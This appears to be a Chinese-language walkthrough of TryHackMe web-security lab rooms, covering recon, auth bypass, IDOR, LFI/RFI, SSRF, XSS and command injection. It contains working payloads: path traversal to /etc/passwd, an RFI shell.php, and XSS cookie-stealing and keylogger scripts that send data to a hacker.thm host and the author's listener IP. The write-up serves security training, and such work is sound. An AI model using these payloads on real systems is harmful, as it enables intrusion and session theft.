Walking An Application

Viewing The Page Source

image-20240412143405013.png

查看网页源代码发现首行注释,访问后边的目录。

image-20240412143506363.png

发现第一段flag

image-20240412143540836.png

继续向下看,发现a标签里的secret-page跟踪这个页面。

image-20240412143615885.png

发现第二段flag

image-20240412143654591.png

同时发现这里的asset,跟踪访问一下。

image-20240412143812393.png

发现第三段flag

image-20240412143842008.png

继续向下,发现了网站框架信息。

跟踪这个框架网站。

image-20240412144023007.png

发现历史漏洞造成的信息泄露,这里回去尝试访问一下。

image-20240412144133729.png

发现最后一段flag

Developer Tools - Inspector

首先打开网站的news界面。

image-20240412144258712.png

这里提示,我们访问第三段新闻获得flag

image-20240412144330033.png

我们直接打开发现,被拦截。

再这个界面,右键检查一下。

image-20240412144413489.png

可以看到对应的css中的display属性为block

我们将这里的block修改为none

image-20240412144458834.png

成功访问到这个页面,获得第一个flag

Developer Tools - Debugger

根据提示,访问concat界面,按照提示说加载页面时会有一个闪动的动画(不好意思,多次测试都没发现),然后我们修改js代码让他停止闪动,就能获得flag

image-20240412145109380.png

在这段代码上打上断点,重新加载。

image-20240412145155529.png

页面上这时,加载出flag

Developer Tools - Network

根据提示,我们在concat界面点击submit按钮,追踪一下发送包。

image-20240412145559977.png

发现flag

Content Discovery

Manual Discovery - Robots.txt

访问robots.txt

发现内容如下:

User-agent: *
Allow: /
Disallow: /staff-portal

可见爬虫不可见的目录是staff-portal

Manual Discovery - Favicon

这里主要提示我们,在渗透活动中,靶标的icon信息可能会提供一些网站框架的相关信息,需要我们注意。

访问这个网页,查看源代码

image-20240412150501006.png

发现icon信息,下载这个icon然后在线计算下md5

image-20240412150650911.png

OWASP_favicon_database查找到这个icon对应的框架是cgiirc

image-20240412150707959.png

Manual Discovery - Sitemap.xml

与限制搜索引擎爬虫可以查看的内容的 robots.txt 文件不同,sitemap.xml 文件提供了网站所有者希望在搜索引擎上列出的每个文件的列表。这些有时可能包含网站中更难导航到的区域,甚至列出当前网站不再使用但仍在幕后工作的一些旧网页。

image-20240412152115968.png

访问这个网站的sitemap.xml发现了敏感文件。

Manual Discovery - HTTP Headers

当我们向 Web 服务器发出请求时,服务器会返回各种 HTTP 标头。这些标头有时可以包含有用的信息,例如 Web 服务器中间件,操作系统,以及可能正在使用的编程/脚本语言。

我们可以以用curl -v这个命令完成这个操作。

image-20240412152354181.png

在响应包当中,发现目标服务器的操作系统Ubuntu,中间件是nginx,以及flag信息。

Manual Discovery - Framework Stack

这里提示我们在信息收集的时候,要关注相关网站的框架信息。

image-20240412153113084.png

我们在页面查看源代码发现最后一个注释,这里说明了网站使用的框架和框架的官网,这里跟踪一下这个网页。

image-20240412153214769.png

这个框架的官网提供了默认的用户名和口令,我们可以回去测试一下。

image-20240412153319202.png

image-20240412153330201.png

成功登录获得flag

OSINT - Google Hacking / Dorking

介绍了常见的Google Hacking语法

参考文章

OSINT - Wappalyzer

信息收集时可以用这个插件发现靶标系统的框架、CMS、编程语言等信息。

OSINT - Wayback Machine

Wayback Machine (https://archive.org/web/) 是一个可追溯到 90 年代后期的网站历史档案。您可以搜索域名,它会向您显示该服务抓取网页并保存内容的所有时间。这项服务可以帮助发现当前网站上可能仍处于活动状态的旧页面。

这也是发现边缘资产的一种方法。

OSINT - GitHub

要了解 GitHub,首先需要了解 Git。Git 是一个版本控制系统,用于跟踪项目中文件的更改。在团队中工作更容易,因为您可以看到每个团队成员正在编辑的内容以及他们对文件所做的更改。当用户完成更改后,他们会使用一条消息提交更改,然后将它们推送回中心位置(存储库),以便其他用户将这些更改拉取到其本地计算机。GitHub 是 Internet 上 Git 的托管版本。存储库可以设置为公共或私有,并具有各种访问控制。您可以使用 GitHub 的搜索功能查找公司名称或网站名称,以尝试找到属于您的目标的存储库。一旦被发现,您可能可以访问尚未找到的源代码、密码或其他内容。

OSINT - S3 Buckets

S3 存储桶是 Amazon AWS 提供的一项存储服务,允许人们将文件甚至静态网站内容保存在可通过 HTTP 和 HTTPS 访问的云中。文件的所有者可以设置访问权限,使文件公开、私有甚至可写。有时,这些访问权限设置不正确,并且无意中允许访问不应向公众提供的文件。S3 存储桶的格式为 http(s)://{name}.s3.amazonaws.com 其中 {name} 由所有者决定,例如 tryhackme-assets.s3.amazonaws.com。可以通过多种方式发现 S3 存储桶,例如在网站的页面源、GitHub 存储库中查找 URL,甚至自动执行该过程。一种常见的自动化方法是使用公司名称,后跟 {name}-assets、{name}-www、{name}-public、{name}-private 等常用术语。

(没用过不了解。。。)

Automated Discovery

目录遍历这边常用的工具是,国产的dirsearch

image-20240412154723575.png

这个m开头的扫不到,字典里没有这个。。。。

Subdomain Enumeration

这里主要说,在渗透活动中子域名枚举,可以帮助我们扩大攻击面,来尝试和发现更多的潜在漏洞。

三种不同的子域名枚举方式:

Brute Force(暴力破解)、OSINT(开源情报)、VirtualBox(虚拟主机)

OSINT - SSL/TLS Certificates

当 CA(证书颁发机构)为域创建 SSL/TLS(安全套接字层/传输层安全性)证书时,CA 将参与所谓的“证书透明度 (CT) 日志”。这些是为域名创建的每个 SSL/TLS 证书的可公开访问日志。证书透明度日志的目的是阻止使用恶意证书和意外制作的证书。我们可以利用这项服务来发现属于某个域的子域,https://crt.shhttps://ui.ctsearch.entrust.com/ui/ctsearchui 等网站提供了一个可搜索的证书数据库,显示当前和历史结果。

image-20240412155425197.png

我们可以在这个网站上查询到,2020-12-26注册的子域名是store.tryhackme.com

OSINT - Search Engines

搜索引擎包含指向超过十亿个网站的数万亿个链接,这可能是寻找新子域的绝佳资源。在 Google 等网站上使用高级搜索方法(例如 site: filter)可以缩小搜索结果范围。例如,“-site:www.domain.com site:*.domain.com”将仅包含指向域名 domain.com 的结果,但会排除任何指向 www.domain.com 的链接;因此,它只向我们显示属于 domain.com 的子域名。

例如:

我们可以在Google中搜索

-site:www.tryhackme.com site:*.tryhackme.com

这样就找到了tryhackme的子域名。

DNS Bruteforce

暴力破解 DNS(域名系统)枚举是从常用子域的预定义列表中尝试数十个、数百个、数千个甚至数百万个不同的可能子域的方法。由于此方法需要许多请求,因此我们使用工具将其自动化以加快流程。

OSINT - Sublist3r

为了加快 OSINT 子域发现的过程,我们可以借助 Sublist3r 等工具自动执行上述方法。

Virtual Hosts

某些子域并不总是托管在可公开访问的 DNS 结果中,例如 Web 应用程序或管理门户的开发版本。相反,DNS 记录可以保存在私有 DNS 服务器上,也可以记录在开发人员的机器上的 /etc/hosts 文件(或 Windows 用户的 c:windowssystem32driversetchosts 文件)中,该文件将域名映射到 IP 地址。

由于当从客户端请求网站时,Web 服务器可以从一台服务器托管多个网站,因此服务器知道客户端希望从 Host 标头中获取哪个网站。我们可以通过对主机标头进行更改并监视响应来利用它,以查看我们是否发现了一个新网站。

与DNS Bruteforce一样,我们可以通过使用常用子域的单词列表来自动执行此过程。

Authentication Bypass

Username Enumeration

用户名枚举,首先从官网的攻击机上边扒下来他的字典(不知道为什么他给的github里边没有这个wordlist)

放到BP里边爆破一下。

image-20240412165807428.png

发现三个注册用户simon,steverobert

Brute Force

依旧是放到BP中爆破。

这里得到steve/thunder

Logic Flaw

有时身份验证过程包含逻辑缺陷。逻辑缺陷是指应用程序的典型逻辑路径被黑客绕过、绕过或操纵。逻辑缺陷可能存在于网站的任何区域。

这个例题比较有意思,这里复现一下。

首先注册一个自己的账号。

image-20240412174853879.png

这里会获得一个自己的邮箱账号。

然后已知robert的邮箱账号是robert@acmeitsupport.thm

我们尝试重置一下robert的账户密码。

image-20240412175107659.png

这里post里边添加一个email字段指向自己的邮箱账号。(!!卧槽,居然是改这里,为什么不改GET后边的Email啊!!!)。

这样登上自己邮箱账户,就能看到这个robert的重置账号信息。

image-20240412175251305.png

访问这个url就能登录robert的账户,进而发现flag

在在线会话期间检查和编辑 Web 服务器设置的 cookie 可能会产生多种结果,例如未经身份验证的访问、访问其他用户帐户或提升的权限。

image-20240412180142091.png

按提示修改cookie就能拿到flag

IDOR

这洞挖到都没地方收。。。

IDOR 代表不安全的直接对象引用,是一种访问控制漏洞。

当 Web 服务器接收用户提供的输入以检索对象(文件、数据、文档)时,可能会发生此类漏洞,对输入数据的信任过多,并且未在服务器端进行验证以确认请求的对象属于请求它的用户。

An IDOR Example

假设您刚刚注册了在线服务,并且想要更改您的个人资料信息。您单击的链接将转到 http://online-service.thm/profile?user_id=1305,您可以看到您的信息。

好奇心占了上风,你尝试将user_id值更改为 1000 (http://online-service.thm/profile?user_id=1000),令你惊讶的是,你现在可以看到另一个用户的信息。您现在发现了一个 IDOR 漏洞!理想情况下,应该进行检查

注册账号并登录

image-20240412181202663.png

Your Account这里发现了可疑api

将后边的id=15修改为id=1发现了一号用户的敏感信息

image-20240412181310422.png

修改成其他数字,都能看到对应用户的相关信息。

File Include

introduction

What is File inclusion?

这个介绍写的还是不错的,简单翻译一下。

有时候,我们会遇到一些web程序,需要通过参数来获得给定系统中一些文件包括图片、静态文字的访问权限。参数是附加到 URL 的查询参数字符串,可用于检索数据或根据用户输入执行操作。下图分解了 URL 的基本部分。

image-20240412182619123.png

我们讨论一下,当一个用户从web服务器来请求文件访问的情况。首先,用户向包含需要展示的文件的服务器发送一个HTTP请求。比如,如果一个用户想要通过服务器访问他们的CV,他们可以发送一个类似于http://webapp.thm/get.php?file=userCV.pdf的请求,其中file这个参数的值userCv.pdf就是用户需要访问的文件。

image-20240412183148837.png

Why do File inclusion vulnerabilities happen?

文件包含漏洞通常在各种编程语言中被发现和利用,用于 Web 应用程序(例如编写和实现不佳的 PHP)。这些漏洞的主要问题是输入验证,其中用户输入未经过清理或验证,由用户控制。当输入未经过验证时,用户可以将任何输入传递给函数,从而导致漏洞。

What is the risk of File inclusion?

默认情况下,攻击者可以利用文件包含漏洞泄露数据,例如代码、凭据或与 Web 应用程序或操作系统相关的其他重要文件。此外,如果攻击者可以通过任何其他方式将文件写入服务器,则可以同时使用文件包含来获得远程命令执行 (RCE)。

Path Traversal

路径遍历也称为目录遍历,web安全漏洞允许攻击者读取操作系统资源,例如运行应用程序的服务器上的本地文件。攻击者通过操纵和滥用web应用程序的URL来定位和访问存储在应用程序根目录之外的文件或目录,从而利用此漏洞。

当用户的输入被传递给PHP中的file_get_contents等函数时,就会出现路径遍历漏洞。需要注意的是,函数并不是导致漏洞的主要因素。通常,输入验证或过滤不力是导致该漏洞的原因。在PHP中,您可以使用file_get_contents来读取文件的内容。

image-20240412211818377.png

常见敏感文件:

Location Description
/etc/issue contains a message or system identification to be printed before the login prompt.
/etc/profile controls system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived
/proc/version specifies the version of the Linux kernel
/etc/passwd has all registered user that has access to a system
/etc/shadow contains information about the system's users' passwords
/root/.bash_history contains the history commands for root user
/var/log/dmessage contains global system messages, including the messages that are logged during system startup
/var/mail/root all emails for root user
/root/.ssh/id_rsa Private SSH keys for a root or any known valid user on the server
/var/log/apache2/access.log the accessed requests for Apache webserver
C:\boot.ini contains the boot options for computers with BIOS firmware

Local File Inclusion - LFI

本地文件包含漏洞的产生,主要是由于开发者缺少安全意识。对于PHP语言include,require,include_once,require_once经常会造成本地文件包含漏洞。

假设现在有一个web应用提供了两种语言,并且用户可以在ENAR之间切换。

<?PHP 
include($_GET["lang"]);
?>

上面的PHP代码通过URL参数lang使用GET请求来包含页面的文件。可以通过发送以下HTTP请求来完成调用,如下所示:http://webapp.thm/index.php?lang=EN.php加载英文页或http://webapp.thm/index.php?lang=AR.php要加载阿拉伯语页面,其中EN.phpAR.php文件位于同一目录中。

理论上说,如果上边的代码没有任何的过滤,那么我们通过这个代码访问和展示服务器上的任何可读文件。

我们可以尝试http://webapp.thm/get.php?file=/etc/passwd

在这种情况下,因为include没有任何指定目录,而且没有任何输入的校验,我们可以通过这种方式读取到/etc/passwd

将这个代码升级一下。

<?PHP 
include("languages/". $_GET['lang']);
?>

在上面的代码中,开发人员决定使用include函数仅通过lang参数调用languages目录中的PHP页面。 如果没有输入验证,攻击者可以通过将lang输入替换为其他操作系统敏感文件(如/etc/passwd)来操纵URL。 同样,有效负载看起来类似于路径遍历,但include函数允许我们将任何调用的文件包含到当前页面中。以下将是该漏洞: http://webapp.thm/index.php?lang=../../../../etc/passwd

image-20240412214253235.png

payload:

/etc/passwd

image-20240412214344148.png

先随便输入一串内容,观察报错include(includes/123)

这里暗示,我们现在在一个指定目录includes里边,那么我们需要借助目录遍历的方法,读取/etc/passwd

image-20240412214515106.png

payload:

../../../../etc/passwd

Local File Inclusion - LFI #2

这里我们学习几种bypass`的方法

lab3

image-20240412214742979.png

首先第一个,输入123,发现报错为inclued(includes/123.php),我们猜测这里后台自动为我们的输入添加了php的后缀,第二个关键信息为我们现在正在/var/www/html/lab3.php这个目录内。

image-20240412215424870.png

这里我们可以用%00截断后缀(BP发包即可)。

%00截断在PHP 5.3.4以上被修复

lab4

这里过滤了/etc/passwd这个敏感文件,首先我们可以用类似上题的%00截断进行绕过。

image-20240412220107357.png

第二种方法是我们可以用../../../../etc/passwd/.这种形式绕过。

image-20240412220157357.png

这里借助cd ..解释下这个poc

如果我们输入命令cd ..那么我们会回退到上一个文件夹,但是如果我们输入命令cd .那么我们还是停留在当前这个文件夹。同样的,如果我们尝试/etc/passwd/..那么我么将会打开/etc/文件夹,但是我们如果尝试/etc/passwd/.那么我们还是会在/ect/passwd这里。

lab5

image-20240412221146157.png

发现这里过滤了../这个关键字,我们可以双写绕过。

image-20240412223946626.png

payload:

..././..././..././..././etc/passwd

lab6

image-20240412224614232.png

这里发现过滤,只能读取THM-profile内的文件,也就是我们的poc当中必须包含THM-profile

image-20240412225510582.png

payload:

THM-profile../../../../../etc/passwd

Remote File Inclusion - RFI

远程文件包含 (RFI) 是一种将远程文件包含在易受攻击的应用程序中的技术。与 LFI 一样,RFI 发生在对用户输入进行不当审查时,允许攻击者将外部 URL 注入 include 函数。RFI 的一个要求是需要打开allow_url_fopen选项。

RFI 的风险高于 LFI,因为 RFI 漏洞允许攻击者在服务器上获得远程命令执行 (RCE)。RFI 攻击成功的其他后果包括:

  • 敏感信息泄露
  • XSS
  • DOS

外部服务器必须与应用程序服务器通信才能成功进行 RFI 攻击,攻击者在其服务器上托管恶意文件。然后通过HTTP请求将恶意文件注入include函数,恶意文件的内容在易受攻击的应用服务器上执行。

下图是成功进行 RFI 攻击的步骤示例!假设攻击者在自己的服务器上托管了一个 PHP 文件 http://attacker.thm/cmd.txt cmd.txt其中包含打印消息 Hello THM

<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意URL,该 URL 指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt。如果没有输入验证,则恶意 URL将传递到 include 函数中。接下来,Web 应用服务器将向恶意服务器发送 GET 请求以获取文件。因此,Web 应用程序将远程文件包含在 include 函数中,以在页面内执行 PHP 文件并将执行内容发送给攻击者。在我们的例子中,当前页面某处必须显示 Hello THM 消息。

Remediation

  1. 使用最新版本更新系统和服务,包括 Web 应用程序框架。
  2. 关闭 PHP 错误以避免泄露应用程序的路径和其他可能泄露的信息。
  3. Web 应用程序防火墙 (WAF) 是帮助缓解 Web 应用程序攻击的不错选择。
  4. 如果您的 Web 应用不需要某些会导致文件包含漏洞的 PHP 功能,请禁用它们,例如打开allow_url_fopenallow_url_include
  5. 仔细分析 Web 应用程序,只允许有需要的协议和 PHP 包装器。
  6. 永远不要相信用户输入,并确保针对文件包含实现适当的输入验证。
  7. 对文件名和位置实施白名单以及黑名单。

Challenge

challenge 1

image-20240413122329454.png

提示需要用POST发包。

pyload:

file=../../../../etc/flag1

image-20240413122433204.png

change2

这里的文件包含漏洞发生在cookie里边,并且需要%00截断。

payload:

cookie:../../../../etc/flag2%00

change3

这里是POST发包并且%00截断

image-20240413124036166.png

change4

这是一个远程文件包含的测试。

首先我们在本地攻击机生成一个shell.php

<?php system('hostname');?>

然后我们在本地开启http服务

image-20240413124859217.png

远程文件包含

payload:

http://10.13.55.152:8000/shell.php

image-20240413124938502.png

Intro to SSRF

What is an SSRF?

What is an SSRF?

SSRF 代表 服务器端请求伪造。这是一个漏洞,允许恶意用户导致 Web 服务器对攻击者选择的资源发出额外或编辑的 HTTP 请求。

Types of SSRF

SSRF 漏洞有两种类型;第一种是常规 SSRF,其中数据返回到攻击者的屏幕。第二个是 Blind SSRF 漏洞,其中发生了 SSRF,但没有将任何信息返回到攻击者的屏幕。

What's the impact?

  • 进入未经授权的区域。
  • 访问客户/组织数据。
  • 能够扩展到内部网络。
  • 显示身份验证令牌/凭据。

Finding an SSRF

image-20240413130528203.png

Defeating Common SSRF Defenses

更精通安全的开发人员意识到 SSRF 漏洞的风险,可以在其应用程序中实施检查,以确保请求的资源符合特定规则。通常有两种方法,拒绝列表(黑名单)或允许列表(白名单)。

Deny List

Web 应用程序可以使用拒绝列表来保护敏感的端点、IP 地址或域不被公众访问,同时仍允许访问其他位置。限制访问的特定端点是 localhost,它可能包含服务器性能数据或其他敏感信息,因此 localhost127.0.0.1 等域名将出现在黑名单当中。

攻击者可以使用替代的 localhost 引用。例如,0,0.0.0.0,0000,127.1,123.*.*.*,2130706433,017700000001或者具有解析为 IP 地址 127.0.0.1 的 DNS 记录的子域,例如 127.0.0.1.nip.io

Allow List

例如参数中使用的 URL 必须以 https://website.thm开头的规则。攻击者可以通过在攻击者的域名上创建子域(如 https://website.thm.attackers-domain.thm)来快速规避此规则。应用程序逻辑现在将允许此输入,并允许攻击者控制内部 HTTP 请求。

Open Redirect

开放重定向是服务器上的一个端点,网站访问者在其中自动重定向到另一个网站地址。以链接https://website.thm/link?url=https://tryhackme.com 为例。创建此端点是为了记录访问者出于广告/营销目的点击此链接的次数。但想象一下,存在一个潜在的 SSRF 漏洞,该漏洞具有严格的规则,仅允许以https://website.thm/ 开头的 URL。攻击者可利用上述功能将内部 HTTP 请求重定向到攻击者选择的域。

SSRF Practical

这里告诉我们存在一个/private目录,但是我们无法直接访问。

image-20240413133556965.png

尝试各种方法无法绕过,这里一般情况都要考虑SSRF

这里提示我们访问/customers/new-account-page这个目录。

image-20240413133731384.png

我们可以在这里为自己选择头像。

我们随便选择一个头像,跟踪一下前端代码。

image-20240413133831648.png

猜测这里通过url访问了后台的图片资源,我们切换成这个头像看一下。

image-20240413133913537.png

现在我们的头像已经变成我们选定的那个,这里再次跟踪下前端代码。

image-20240413133950501.png

发现这里接受了这个图像的base64编码。

这里我们考虑将请求的url替换成/private,进而访问这个网页的内容。

image-20240413134059566.png

这里修改前端代码后,选择这个头像。

image-20240413134129376.png

但是这里发现被过滤了。

我们修改pocx/../private

image-20240413134304302.png

image-20240413134321528.png

更改之后,发现我们的头像这个地方一片空白,我们跟踪下这个图片的内容。

base64,VEhNe1lPVV9XT1JLRURfT1VUX1RIRV9TU1JGfQ==
THM{YOU_WORKED_OUT_THE_SSRF}

Intro to Cross-site Scripting

跨站点脚本,在网络安全社区中更广为人知的是 XSS,被归类为一种注入攻击,其中恶意 JavaScript 被注入到 Web 应用程序中,目的是由其他用户执行。

XSS Payloads

Proof Of Concept:

这是最简单的有效载荷,您只想证明您可以在网站上实现XSS。这通常是通过在页面上弹出一个带有字符串文本的警告框来实现的,例如

<script>alert('XSS');</script>

Session Stealing:

用户会话的详细信息,如登录令牌,通常保存在目标机器上的cookie中。下面的JavaScript获取目标的cookie,base64对cookie进行编码以确保成功传输,然后将其发布到黑客控制下的网站上进行记录。一旦黑客拥有这些cookie,他们就可以接管目标的会话并作为该用户登录。

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

Key Logger:

以下代码充当钥匙记录器。这意味着你在网页上键入的任何内容都将被转发到黑客控制下的网站。如果网站的有效负载安装在接受的用户登录或信用卡详细信息上,这可能会造成非常大的破坏。

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

Business Logic:

这个有效载荷比上面的例子要具体得多。这将是关于调用特定的网络资源或JavaScript函数。例如,想象一个用于更改用户电子邮件地址的JavaScript函数user.changeEmail()。您的有效载荷可能如下所示:

<script>user.changeEmail('attacker@hacker.thm');</script>

现在帐户的电子邮件地址已经更改,攻击者可能会执行重置密码攻击。

Reflected XSS

一个网站,如果您输入了错误的输入,就会显示一条错误消息。错误消息的内容取自查询字符串中的错误参数,并直接构建到页面源中。

image-20240413140327579.png

应用程序不检查错误参数的内容,这允许攻击者插入恶意代码。

image-20240413140402409.png

image-20240413140419264.png

Potential Impact

攻击者可以向潜在的受害者发送链接或将其嵌入到另一个网站上的iframe中,该网站包含JavaScript负载,让他们在浏览器上执行代码,从而可能泄露会话或客户信息。

How to test for Reflected XSS

  • URL查询字符串中的参数
  • URL文件路径
  • 有时HTTP标头(尽管在实践中不太可能被利用)

Stored XSS

假设这样一个场景,有允许用户发表评论的博客网站。不幸的是,这些评论没有被检查是否包含JavaScript或过滤掉任何恶意代码。如果我们现在发布一条包含JavaScript的评论,它将被存储在数据库中,并且现在访问文章的每个其他用户都将在他们的浏览器中运行JavaScript

image-20240413143450272.png

Potential Impact:

恶意JavaScript可以将用户重定向到另一个网站,窃取用户的会话cookie,或在作为访问用户时执行其他网站操作。

How to test for Stored XSS:

经常存在漏洞的位置:

  • 博客上的评论
  • 用户配置文件信息
  • 网站列表

有时,开发人员认为限制客户端上的输入值就足够了,因此将值更改为web应用程序所不期望的值是发现存储的XSS的一个很好的来源,例如,一个期望下拉菜单中的整数的年龄字段,但相反,您可以手动发送请求,而不是使用允许您尝试恶意有效负载的表单

DOM Based XSS

参考文章

What is the DOM?

DOM代表文档对象模型,是HTMLXML文档的编程接口。它表示页面,以便程序可以更改文档结构、样式和内容。网页是一个文档,该文档可以显示在浏览器窗口中,也可以作为HTML源显示。下面显示了HTML DOM的图表。

image-20240413144223907.png

Exploiting the DOM

基于DOMXSSJavaScript直接在浏览器中执行的地方,而无需加载任何新页面或将数据提交给后端代码。当网站JavaScript代码作用于输入或用户交互时,就会执行。

Example Scenario

网站的JavaScriptwindow.location.hash参数中获取内容,然后将其写入当前查看部分的页面。哈希的内容不会被检查是否有恶意代码,攻击者可以将自己选择的JavaScript注入网页。

How to test for Dom Based XSS:

基于DOMXSS可能很难测试,并且需要一定的JavaScript知识才能阅读源代码。您需要查找访问攻击者可以控制的某些变量的代码部分,例如“window.location.x”参数。

当你找到这些代码后,你需要看看它们是如何处理的,以及这些值是否被写入网页的DOM或传递给不安全的JavaScript方法,如eval()

Blind XSS

Blind XSS类似于存储的XSS,因为您的有效负载存储在网站上供其他用户查看,但在这种情况下,您无法看到有效负载工作,也无法首先对自己进行测试。

Example Scenario:

一个网站有一个联系表格,你可以在那里给员工发信息。消息内容不会被检查是否有任何恶意代码,这使得攻击者可以输入他们想要的任何内容。然后,这些消息会变成支持票,工作人员可以在私人门户网站上查看。

Potential Impact:

使用正确的有效负载,攻击者的JavaScript可以回调攻击者的网站,从而显示员工门户网站的URL、员工的cookie,甚至是正在查看的门户网站页面的内容。现在,攻击者可能会劫持该工作人员的会话,并可以访问私人门户网站。

How to test for Blind XSS:

在测试Blind XSS漏洞时,您需要确保您的负载具有回调(通常是HTTP请求)。通过这种方式,您可以知道代码是否以及何时被执行。

Perfecting your payload

level 1

<script>alert('THM');</script>

level 2

这里需要">来闭合一下前边input标签,然后插入我们的恶意代码。

"><script>alert('THM')</script>

level 3

这里用</textarea>标签闭合一下,然后插入恶意代码。

</textarea><script>alert('THM')</script>

level 4

image-20240413151104465.png

这里随便测试一下,发现我们输入的内容被写入到了这个地方。

payload

';alert('THM');//

这里用单引号和分号闭合上一条命令,然后插入我们的恶意命令,然后用//注释后边的内容。

image-20240413151340837.png

level 5

好像是ban<script>标签,这里用<img>标签绕过,当然需要</h2>闭合一下。

payload:

</h2><img src=x onerror=alert('THM')>

level 6

payload:

/images/cat.jpg" onload="alert('THM');

Practical Example (Blind XSS)

看一下这个地方的例子。

首先,我们注册账户,登录之后在Support Tickets这里可以发布一些内容,然后会被网站存储,那么我们考虑是不是存在存储xss

预期解:

我们发布一个内容,点击查看之后,查看源代码。

image-20240413153050706.png

发现我们的内容被写入到<textarea>这里。

那么我们可以用

</textarea><script>alert('xss')</script>

造成XSS

image-20240413153200812.png

我们点击刚才编写的恶意内容,就会触发xss

非预期:

这里发现除了这个文件内容可以触发xss,其实这个文章内容的标题也可以触发xss,而且这个是0 clickxss按说利用价值更高。

image-20240413153332087.png

我们发现这里,我们写入的标签被包含在了<td>标签内。

我们尝试

</td><script>alert(1)</script>

触发xss

image-20240413153435726.png

我们可以看到直接被触发。

下一步看一下盗取cookie

payload

</textarea><script>fetch('http://10.13.55.152:1234?cookie=' + btoa(document.cookie) );</script>

image-20240413154102176.png

卧槽,打进去等了好久,以为是有机器人自动模拟点击,没想到还需要我自己点,自己插自己?

再试一下,我们非预期的那个地方。

payload

</td><script>fetch('http://10.13.55.152:1234?cookie=' + btoa(document.cookie) );</script>

emm,可以拿到,但是这个cookie是不对的。

Command Injection

Introduction

命令注入是指滥用应用程序的行为在操作系统上执行命令,使用与设备上运行应用程序相同的权限。例如,在以名为joe的用户身份运行的web服务器上实现命令注入将在该joe用户下执行命令,从而获得joe拥有的任何权限。

命令注入通常也称为“远程代码执行”(RCE),因为它能够在应用程序中远程执行代码。这些漏洞对攻击者来说往往是最有利可图的,因为这意味着攻击者可以直接与易受攻击的系统进行交互。例如,攻击者可以读取系统或用户文件、数据以及诸如此类的内容。

例如,能够滥用应用程序来执行命令whoami以列出应用程序正在运行的用户帐户将是命令注入的一个示例。

Discovering Command Injection

这种命令注入的漏洞存在是因为,PHPPythonNodeJS等语言开发的应用程序,需要传递数据或者在自己机器的操作系统上执行系统调用。例如,从字段中获取输入并搜索文件中的条目。

image-20240413192027954.png

这个代码就是一个命令注入漏洞的例子。

这个代码接受一个$title然后拼接到$command当中用grepsongtitle.txt中匹配这个变量,判断是否存在。

攻击者可以通过注入自己的命令让应用程序执行来滥用此应用程序。他们可以要求应用程序从更敏感的文件中读取数据,而不是使用grep在songtitle.txt中搜索条目。

无论应用程序使用何种编程语言,以这种方式滥用应用程序都是可能的。只要应用程序处理并执行它,就会导致命令注入。例如,下面的代码片段是一个用Python编写的应用程序。

image-20240413192547363.png

  1. “flask”包用于设置web服务器
  2. 使用subproccess包在设备上执行命令的函数
  3. 我们在Web服务器中使用一个路由,该路由将执行所提供的任何内容。例如,要执行whoami,我们需要访问http://flaskapp.thm/whoami

Exploiting Command Injection

我们可以用管道操作符;,&,|,&&,||来连接两个或者更多的命令,实现命令联合执行。

命令执行主要通过以下两种方式检查:

  1. 盲指令注入
  2. 详细命令注入
Method Description
Blind This type of injection is where there is no direct output from the application when testing payloads. You will have to investigate the behaviours of the application to determine whether or not your payload was successful.
Verbose This type of injection is where there is direct feedback from the application once you have tested a payload. For example, running the whoami command to see what user the application is running under. The web application will output the username on the page directly.

Detecting Blind Command Injection

盲指令注入是指发生指令注入时;但是,没有可见的输出,因此不会立即引起注意。例如,执行了一个命令,但web应用程序不输出任何消息。

对于这种类型的命令注入,我们需要使用会导致一些时间延迟的poc。例如,pingsleep命令是测试的重要有效载荷。以ping为例,应用程序将根据您指定的ping次数挂起x秒。

检测盲命令注入的另一种方法是强制输出。这可以通过使用重定向运算符(如>)来完成。例如,我们可以告诉web应用程序执行诸如whoami之类的命令,并将其重定向到文件。然后,我们可以使用诸如cat之类的命令来读取这个新创建的文件的内容。

以这种方式测试命令注入通常很复杂,并且需要大量的实验,因为LinuxWindows之间的命令语法各不相同。 curl命令是测试命令注入的好方法。这是因为您可以使用curl向负载中的应用程序传递数据,也可以从负载中的一个应用程序中传递数据。以下面的代码片段为例,可以为应用程序提供一个简单的curl有效负载来进行命令注入。

curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami

Detecting Verbose Command Injection

以这种方式检测命令注入可以说是这两种方法中最简单的方法。详细命令注入是指应用程序向您提供有关正在发生或正在执行的内容的反馈或输出。

例如,pingwhoami等命令的输出直接显示在web应用程序上。

Linux

Payload Description
whoami See what user the application is running under.
ls List the contents of the current directory. You may be able to find files such as configuration files, environment files (tokens and application keys), and many more valuable things.
ping This command will invoke the application to hang. This will be useful in testing an application for blind command injection.
sleep This is another useful payload in testing an application for blind command injection, where the machine does not have ping installed.
nc Netcat can be used to spawn a reverse shell onto the vulnerable application. You can use this foothold to navigate around the target machine for other services, files, or potential means of escalating privileges.

Windows

Payload Description
whoami See what user the application is running under.
dir List the contents of the current directory. You may be able to find files such as configuration files, environment files (tokens and application keys), and many more valuable things.
ping This command will invoke the application to hang. This will be useful in testing an application for blind command injection.
timeout This command will also invoke the application to hang. It is also useful for testing an application for blind command injection if the ping command is not installed.

Remediating Command Injection

可以通过多种方式防止命令注入。从在编程语言中尽量减少使用潜在危险的函数或库,到在不依赖用户输入的情况下过滤输入,无所不包。我在下面更详细地介绍了这些。下面的例子是PHP编程语言;然而,同样的原则可以扩展到许多其他语言。

PHP语言当中能执行系统命令的危险函数主要包括:

  • Exec
  • Passthru
  • System

以下面的代码片段为例,在此处,web应用程序将只接受和处理输入到表单中的数字,这意味着不会处理任何输入的命令,例如 whoami

image-20240413195130663.png

  1. 该web应用程序将只接受特定的字符格式(数字 0-9)
  2. 然后该web应用程序将继续执行这个全是数字的数据。

在默认情况下,类似的函数会接受字符串内容或者用户的数据输入,并将执行 在目标系统上被提供的任何内容,因此任何未经适当检查而使用这些函数的web应用程序都容易受到命令注入攻击的影响。

sanitisation

清理web应用程序所使用的用户输入是防止命令注入的好方法。 这是指定用户可以提交的数据格式或类型的过程。 例如,可以指定仅接受数字数据或删除任何特殊字符(如 >&/)的输入字段。

在下面的代码片段中,PHP 函数filter_input用于检查通过输入表单提交的任何数据是否为数字,如果不是数字,则视为无效输入。

image-20240413195232544.png

Bypassing Filters

